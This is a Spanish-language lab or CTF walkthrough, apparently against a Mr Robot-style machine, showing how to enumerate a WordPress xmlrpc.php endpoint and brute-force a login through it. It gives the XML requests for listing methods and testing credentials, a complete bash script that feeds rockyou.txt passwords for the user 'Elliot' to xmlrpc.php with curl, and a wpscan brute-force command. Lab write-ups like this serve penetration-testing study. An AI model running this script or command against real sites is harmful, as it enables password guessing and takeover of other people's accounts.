ENUMERAR XMLRPC + ATAQUES FUERZA BRUTA WORDPRESS
También es posible que podamos enumerar este archivo el cual nos sirve para obtener credenciales de usuarios, ya que se trata de un archivo que permite la comunicación de wordpress y otros sistemas usando php; y si lo buscamos en el navegador vemos que existe pero que sólo tramita peticiones por POST:
Por tanto con curl vamos a enviarle una petición por POST y vemos que sí nos devuelve algo en XML:
Y ahora que vemos que existe este fichero, buscamos en google como explotar vulnerabilidades haciendo uso de este fichero:
Y nos dicen que tenemos que tramitar esto:
POST /xmlrpc.php HTTP/1.1 Host: example.com Content-Length: 135 <?xml version="1.0" encoding="utf-8"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>
Por tanto pegamos este código en un fichero xml:
Y ahora este fichero lo tramitamos por POST contra el xmlrpc de wordpress:
Y el servidor nos responde con todos los métodos disponibles:
Y si miramos más en la página, vemos que nos muestran como hacer un ataque de fuerza bruta:
<?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param><value>\{\{your username\}\}</value></param> <param><value>\{\{your password\}\}</value></param> </params> </methodCall>
Y vemos que aquí si ponemos unas credenciales correctas y lo ejecutamos como antes, nos va a funcionar correctamente:
En este punto podríamos hacer un ataque de fuerza bruta, tanto con un script de bash o con la propia herramienta wpscan:
#!/bin/bash #!/bin/bash function salir() { exit 1 } trap salir SIGINT for i in $(cat rockyou.txt); do variable=$(cat <<FIN <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param><value>Elliot</value></param> <param><value>$i</value></param> </params> </methodCall> FIN ) echo -e "$variable" >> enviar.xml echo -e "[+] Probamos con la contraseña $i" curl -s -X POST 'http://10.10.126.89/xmlrpc.php' -d@enviar.xml >> log.log if [ ! "$(cat log.log | grep 'Incorrect username or password.')" ]; then echo -e "[+] La contraseña para Elliot es $i" exit 0 fi sleep 1 rm log.log enviar.xml done
O también directamente desde la herramienta, lo cual será más rápido:
wpscan --url <url> -U <user> -P <pass>
Y nos la encuentra:












